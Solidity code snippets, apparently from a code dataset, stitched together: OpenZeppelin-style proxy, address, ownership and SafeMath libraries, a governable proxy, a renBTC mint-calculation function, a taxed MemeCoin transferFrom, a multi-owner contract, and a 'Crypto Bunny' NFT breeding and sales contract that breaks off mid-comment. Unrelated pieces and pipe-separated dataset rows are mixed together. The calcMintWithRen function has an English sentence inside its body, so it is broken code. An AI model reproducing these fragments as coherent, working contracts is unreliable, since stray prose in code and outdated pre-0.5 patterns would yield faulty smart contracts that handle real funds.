* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
contract GovernableProxy {
bytes32 constant OWNER_SLOT = keccak256("proxy.owner");
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_transferOwnership(msg.sender);
}
modifier onlyGovernance() {
require(owner() == msg.sender, "NOT_OWNER");
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns(address _owner) {
bytes32 position = OWNER_SLOT;
assembly {
_owner := sload(position)
}
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function transferOwnership(address newOwner) external onlyGovernance {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "OwnableProxy: new owner is the zero address");
emit OwnershipTransferred(owner(), newOwner);
bytes32 position = OWNER_SLOT;
assembly {
sstore(position, newOwner)
}
}
}
|
amount renBTC amount return poolId 0=crvRenWBTC, 1=crvRenWSBTC, 2=tbtc-sbtcCrv return idx Index of the supported token in the curve pool (poolId) return bBTC Expected ibbtc. Not for precise calculations. Doesn't factor in fee charged by the curve pool return fee Fee being charged by ibbtc system. Denominated in corresponding sett token/ poolId=0, idx=0
|
function calcMintWithRen(uint amount) public view returns(uint poolId, uint idx, uint bBTC, uint fee) {
(bBTC, fee) = curveLPToIbbtc(0, pools[0].deposit.calc_token_amount([amount,0], true));
The last param `minOut` in mint(...) should be a bit more than the returned bBTC value.
}
| 6,922,567
|
./partial_match/1/0x6Ca9547eA9C948590597B9a8832007236183fD94/sources/MemeCoin.sol
|
Transfer tokens on behalf of an address after deducting tax. Calculate the 1% taxes. Handle the tax transfers. Calculate the net amount after taxes. Transfer the tokens and reduce the allowance.
|
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
uint256 developerTax = amount / 100;
uint256 marketingTax = amount / 100;
_transferTax(sender, developerTax, marketingTax);
uint256 netAmount = amount - developerTax - marketingTax;
bool success = _transfer(sender, recipient, netAmount);
if (success) {
_allowances[sender][msg.sender] -= amount;
}
return success;
}
| 15,959,483
|
pragma solidity >0.4.99 <0.6.0;
/**
* @title MultiOwner
* @dev The MultiOwner contract has multi owner address, and provides basic authorization control
* functions.
* This contract is not multisig. it allow each owners to be able control by single.
*/
contract MultiOwner {
mapping(address => bool) private _owners;
event AddOwner(
address indexed newOwner
);
event RemoveOwner(
address indexed fired
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
_addOwner(msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return _owners[msg.sender];
}
function addOwner(address _newOwner) public onlyOwner {
_addOwner(_newOwner);
}
function removeOwner(address _fireAddress) public onlyOwner {
_removeOwner(_fireAddress);
}
/**
* @dev Add owner of the contract.
* @param _newOwner new owner address.
*/
function _addOwner(address _newOwner) internal {
_owners[_newOwner] = true;
emit AddOwner(_newOwner);
}
/**
* @dev Remove owner of the contract.
*/
function _removeOwner(address _fireAddress) internal {
_owners[_fireAddress] = false;
emit RemoveOwner(_fireAddress);
}
}
|
return true if `msg.sender` is the owner of the contract./
|
function isOwner() public view returns (bool) {
return _owners[msg.sender];
}
| 13,079,037
|
/**
* Crypto Bunny Factory
* Buy,sell,trade and mate crypto based digital bunnies
*
* Developer Team
* Check on CryptoBunnies.com
*
**/
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// The ERC-721 Interface to reference the animal factory token
interface ERC721Interface {
function totalSupply() public view returns (uint256);
function safeTransferFrom(address _from, address _to, uint256 _tokenId);
function burnToken(address tokenOwner, uint256 tid) ;
function sendToken(address sendTo, uint tid, string tmeta) ;
function getTotalTokensAgainstAddress(address ownerAddress) public constant returns (uint totalAnimals);
function getAnimalIdAgainstAddress(address ownerAddress) public constant returns (uint[] listAnimals);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function setAnimalMeta(uint tid, string tmeta);
}
contract AnimalFactory is Ownable
{
//The structure defining a single animal
struct AnimalProperties
{
uint id;
string name;
string desc;
bool upForSale;
uint priceForSale;
bool upForMating;
bool eggPhase;
uint priceForMating;
bool isBornByMating;
uint parentId1;
uint parentId2;
uint birthdate;
uint costumeId;
uint generationId;
bool isSpecial;
}
using SafeMath for uint256;
// The token being sold
ERC721Interface public token;
//sequentially generated ids for the animals
uint uniqueAnimalId=0;
//mapping to show all the animal properties against a single id
mapping(uint=>AnimalProperties) animalAgainstId;
//mapping to show how many children does a single animal has
mapping(uint=>uint[]) childrenIdAgainstAnimalId;
//the animals that have been advertised for mating
uint[] upForMatingList;
//the animals that have been advertised for selling
uint[] upForSaleList;
//the list of addresses that can remove animals from egg phase
address[] memberAddresses;
//animal object to be used in various functions as an intermediate variable
AnimalProperties animalObject;
//The owner percentages from mating and selling transactions
uint public ownerPerThousandShareForMating = 35;
uint public ownerPerThousandShareForBuying = 35;
//the number of free animals an address can claim
uint public freeAnimalsLimit = 4;
//variable to show whether the contract has been paused or not
bool public isContractPaused;
//the fees for advertising an animal for sale and mate
uint public priceForMateAdvertisement;
uint public priceForSaleAdvertisement;
uint public priceForBuyingCostume;
// amount of raised money in wei
uint256 public weiRaised;
// Total no of bunnies created
uint256 public totalBunniesCreated=0;
//rate of each animal
uint256 public weiPerAnimal = 1*10**18;
uint[] eggPhaseAnimalIds;
uint[] animalIdsWithPendingCostumes;
/**
* event for animals purchase logging
* @param purchaser who paid for the animals
* @param beneficiary who got the animals
* @param value weis paid for purchase
* @param amount of animals purchased
*/
event AnimalsPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function AnimalFactory(address _walletOwner,address _tokenAddress) public
{
require(_walletOwner != 0x0);
owner = _walletOwner;
isContractPaused = false;
priceForMateAdvertisement = 1 * 10 ** 16;
priceForSaleAdvertisement = 1 * 10 ** 16;
priceForBuyingCostume = 1 * 10 ** 16;
token = ERC721Interface(_tokenAddress);
}
/**
* function to get animal details by id
**/
function getAnimalById(uint aid) public constant returns
(string, string,uint,uint ,uint, uint,uint)
{
if(animalAgainstId[aid].eggPhase==true)
{
return(animalAgainstId[aid].name,
animalAgainstId[aid].desc,
2**256 - 1,
animalAgainstId[aid].priceForSale,
animalAgainstId[aid].priceForMating,
animalAgainstId[aid].parentId1,
animalAgainstId[aid].parentId2
);
}
else
{
return(animalAgainstId[aid].name,
animalAgainstId[aid].desc,
animalAgainstId[aid].id,
animalAgainstId[aid].priceForSale,
animalAgainstId[aid].priceForMating,
animalAgainstId[aid].parentId1,
animalAgainstId[aid].parentId2
);
}
}
function getAnimalByIdVisibility(uint aid) public constant
returns (bool upforsale,bool upformating,bool eggphase,bool isbornbymating,
uint birthdate, uint costumeid, uint generationid)
{
return(
animalAgainstId[aid].upForSale,
animalAgainstId[aid].upForMating,
animalAgainstId[aid].eggPhase,
animalAgainstId[aid].isBornByMating,
animalAgainstId[aid].birthdate,
animalAgainstId[aid].costumeId,
animalAgainstId[aid].generationId
);
}
function getOwnerByAnimalId(uint aid) public constant
returns (address)
{
return token.ownerOf(aid);
}
/**
* function to get all animals against an address
**/
function getAllAnimalsByAddress(address ad) public constant returns (uint[] listAnimals)
{
require (!isContractPaused);
return token.getAnimalIdAgainstAddress(ad);
}
/**
* claim an animal from animal factory
**/
function claimFreeAnimalFromAnimalFactory( string animalName, string animalDesc) public
{
require(msg.sender != 0x0);
require (!isContractPaused);
uint gId=0;
//owner can claim as many free animals as he or she wants
if (msg.sender!=owner)
{
require(token.getTotalTokensAgainstAddress(msg.sender)<freeAnimalsLimit);
gId=1;
}
//sequentially generated animal id
uniqueAnimalId++;
//Generating an Animal Record
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
eggPhase: false,
priceForSale:0,
upForMating: false,
priceForMating:0,
isBornByMating: false,
parentId1:0,
parentId2:0,
birthdate:now,
costumeId:0,
generationId:gId,
isSpecial:false
});
token.sendToken(msg.sender, uniqueAnimalId,animalName);
//updating the mappings to store animal information
animalAgainstId[uniqueAnimalId]=animalObject;
totalBunniesCreated++;
}
/**
* Function to buy animals from the factory in exchange for ethers
**/
function buyAnimalsFromAnimalFactory(string animalName, string animalDesc) public payable
{
require (!isContractPaused);
require(validPurchase());
require(msg.sender != 0x0);
uint gId=0;
//owner can claim as many free animals as he or she wants
if (msg.sender!=owner)
{
gId=1;
}
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.div(weiPerAnimal);
// update state
weiRaised = weiRaised.add(weiAmount);
uniqueAnimalId++;
//Generating Animal Record
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: false,
priceForMating:0,
isBornByMating:false,
parentId1:0,
parentId2:0,
birthdate:now,
costumeId:0,
generationId:gId,
isSpecial:false
});
//transferring the token
token.sendToken(msg.sender, uniqueAnimalId,animalName);
emit AnimalsPurchased(msg.sender, owner, weiAmount, tokens);
//updating the mappings to store animal records
animalAgainstId[uniqueAnimalId]=animalObject;
totalBunniesCreated++;
//transferring the ethers to the owner of the contract
owner.transfer(msg.value);
}
/**
* Buying animals from a user
**/
function buyAnimalsFromUser(uint animalId) public payable
{
require (!isContractPaused);
require(msg.sender != 0x0);
address prevOwner=token.ownerOf(animalId);
//checking that a user is not trying to buy an animal from himself
require(prevOwner!=msg.sender);
//the price of sale
uint price=animalAgainstId[animalId].priceForSale;
//the percentage of owner
uint OwnerPercentage=animalAgainstId[animalId].priceForSale.mul(ownerPerThousandShareForBuying);
OwnerPercentage=OwnerPercentage.div(1000);
uint priceWithOwnerPercentage = animalAgainstId[animalId].priceForSale.add(OwnerPercentage);
//funds sent should be enough to cover the selling price plus the owner fees
require(msg.value>=priceWithOwnerPercentage);
// transfer token only
// token.mint(prevOwner,msg.sender,1);
// transfer token here
token.safeTransferFrom(prevOwner,msg.sender,animalId);
// change mapping in animalAgainstId
animalAgainstId[animalId].upForSale=false;
animalAgainstId[animalId].priceForSale=0;
//remove from for sale list
for (uint j=0;j<upForSaleList.length;j++)
{
if (upForSaleList[j] == animalId)
delete upForSaleList[j];
}
//transfer of money from buyer to beneficiary
prevOwner.transfer(price);
//transfer of percentage money to ownerWallet
owner.transfer(OwnerPercentage);
// return extra funds if sent by mistake
if(msg.value>priceWithOwnerPercentage)
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
/**
* function to accept a mate offer by offering one of your own animals
* and paying ethers ofcourse
**/
function mateAnimal(uint parent1Id, uint parent2Id, string animalName,string animalDesc) public payable
{
require (!isContractPaused);
require(msg.sender != 0x0);
//the requester is actually the owner of the animal which he or she is offering for mating
require (token.ownerOf(parent2Id) == msg.sender);
//a user cannot mate two of his own animals
require(token.ownerOf(parent2Id)!=token.ownerOf(parent1Id));
//the animal id given was actually advertised for mating
require(animalAgainstId[parent1Id].upForMating==true);
require(animalAgainstId[parent1Id].isSpecial==false);
require(animalAgainstId[parent2Id].isSpecial==false);
// the price requested for mating
uint price=animalAgainstId[parent1Id].priceForMating;
// the owner fees
uint OwnerPercentage=animalAgainstId[parent1Id].priceForMating.mul(ownerPerThousandShareForMating);
OwnerPercentage=OwnerPercentage.div(1000);
uint priceWithOwnerPercentage = animalAgainstId[parent1Id].priceForMating.add(OwnerPercentage);
// the ethers sent should be enough to cover the mating price and the owner fees
require(msg.value>=priceWithOwnerPercentage);
uint generationnum = 1;
if(animalAgainstId[parent1Id].generationId >= animalAgainstId[parent2Id].generationId)
{
generationnum = animalAgainstId[parent1Id].generationId+1;
}
else{
generationnum = animalAgainstId[parent2Id].generationId+1;
}
// sequentially generated id for animal
uniqueAnimalId++;
//Adding Saving Animal Record
animalObject = AnimalProperties({
id:uniqueAnimalId,
name:animalName,
desc:animalDesc,
upForSale: false,
priceForSale:0,
upForMating: false,
eggPhase: true,
priceForMating:0,
isBornByMating:true,
parentId1: parent1Id,
parentId2: parent2Id,
birthdate:now,
costumeId:0,
generationId:generationnum,
isSpecial:false
});
// transfer token only
token.sendToken(msg.sender,uniqueAnimalId,animalName);
//updating the mappings to store animal information
animalAgainstId[uniqueAnimalId]=animalObject;
//adding the generated animal to egg phase list
eggPhaseAnimalIds.push(uniqueAnimalId);
//adding this animal as a child to the parents who mated to produce this offspring
childrenIdAgainstAnimalId[parent1Id].push(uniqueAnimalId);
childrenIdAgainstAnimalId[parent2Id].push(uniqueAnimalId);
//remove from for mate list
for (uint i=0;i<upForMatingList.length;i++)
{
if (upForMatingList[i]==parent1Id)
delete upForMatingList[i];
}
//remove the parent animal from mating advertisment
animalAgainstId[parent1Id].upForMating = false;
animalAgainstId[parent1Id].priceForMating = 0;
//transfer of money from beneficiary to mate owner
token.ownerOf(parent1Id).transfer(price);
//transfer of percentage money to ownerWallet
owner.transfer(OwnerPercentage);
// return extra funds if sent by mistake
if(msg.value>priceWithOwnerPercentage)
{
msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage));
}
}
/**
* function to transfer an animal to another user
* direct token cannot be passed as we have disabled the transfer feature
* all animal transfers should occur through this function
**/
function TransferAnimalToAnotherUser(uint animalId,address to) public
{
require (!isContractPaused);
require(msg.sender != 0x0);
//the requester of the transfer is actually the owner of the animal id provided
require(token.ownerOf(animalId)==msg.sender);
//if an animal has to be transferred, it shouldnt be up for sale or mate
require(animalAgainstId[animalId].upForSale == false);
require(animalAgainstId[animalId].upForMating == false);
token.safeTransferFrom(msg.sender, to, animalId);
}
/**
* Advertise your animal for selling in exchange for ethers
**/
function putSaleRequest(uint animalId, uint salePrice) public payable
{
require (!isContractPaused);
//everyone except owner has to pay the adertisement fees
if (msg.sender!=owner)
{
require(msg.value>=priceForSaleAdvertisement);
}
//the advertiser is actually the owner of the animal id provided
require(token.ownerOf(animalId)==msg.sender);
//you cannot advertise an animal for sale which is in egg phase
require(animalAgainstId[animalId].eggPhase==false);
// you cannot advertise an animal for sale which is already on sale
require(animalAgainstId[animalId].upForSale==false);
//you cannot put an animal for sale and mate simultaneously
require(animalAgainstId[animalId].upForMating==false);
//putting up the flag for sale
animalAgainstId[animalId].upForSale=true;
animalAgainstId[animalId].priceForSale=salePrice;
upForSaleList.push(animalId);
//transferring the sale advertisement price to the owner
owner.transfer(msg.value);
}
/**
* function to withdraw a sale advertisement that was put earlier
**/
function withdrawSaleRequest(uint animalId) public
{
require (!isContractPaused);
// the animal id actually belongs to the requester
require(token.ownerOf(animalId)==msg.sender);
// the animal in question is still up for sale
require(animalAgainstId[animalId].upForSale==true);
// change the animal state to not be on sale
animalAgainstId[animalId].upForSale=false;
animalAgainstId[animalId].priceForSale=0;
// remove the animal from sale list
for (uint i=0;i<upForSaleList.length;i++)
{
if (upForSaleList[i]==animalId)
delete upForSaleList[i];
}
}
/**
* function to put mating request in exchange for ethers
**/
function putMatingRequest(uint animalId, uint matePrice) public payable
{
require(!isContractPaused);
require(animalAgainstId[animalId].isSpecial==false);
// the owner of the contract does not need to pay the mate advertisement fees
if (msg.sender!=owner)
{
require(msg.value>=priceForMateAdvertisement);
}
require(token.ownerOf(animalId)==msg.sender);
// an animal in egg phase cannot be put for mating
require(animalAgainstId[animalId].eggPhase==false);
// an animal on sale cannot be put for mating
require(animalAgainstId[animalId].upForSale==false);
// an animal already up for mating cannot be put for mating again
require(animalAgainstId[animalId].upForMating==false);
animalAgainstId[animalId].upForMating=true;
animalAgainstId[animalId].priceForMating=matePrice;
upForMatingList.push(animalId);
// transfer the mating advertisement charges to owner
owner.transfer(msg.value);
}
/**
* withdraw the mating request that was put earlier
**/
function withdrawMatingRequest(uint animalId) public
{
require(!isContractPaused);
require(token.ownerOf(animalId)==msg.sender);
require(animalAgainstId[animalId].upForMating==true);
animalAgainstId[animalId].upForMating=false;
animalAgainstId[animalId].priceForMating=0;
for (uint i=0;i<upForMatingList.length;i++)
{
if (upForMatingList[i]==animalId)
delete upForMatingList[i];
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool)
{
// check validity of purchase
if(msg.value.div(weiPerAnimal)<1)
return false;
uint quotient=msg.value.div(weiPerAnimal);
uint actualVal=quotient.mul(weiPerAnimal);
if(msg.value>actualVal)
return false;
else
return true;
}
/**
* function to show how many animals does an address have
**/
function showMyAnimalBalance() public view returns (uint256 tokenBalance)
{
tokenBalance = token.balanceOf(msg.sender);
}
/**
* function to set the new price
* can only be called from owner wallet
**/
function setPriceRate(uint256 newPrice) public onlyOwner returns (bool)
{
weiPerAnimal = newPrice;
}
/**
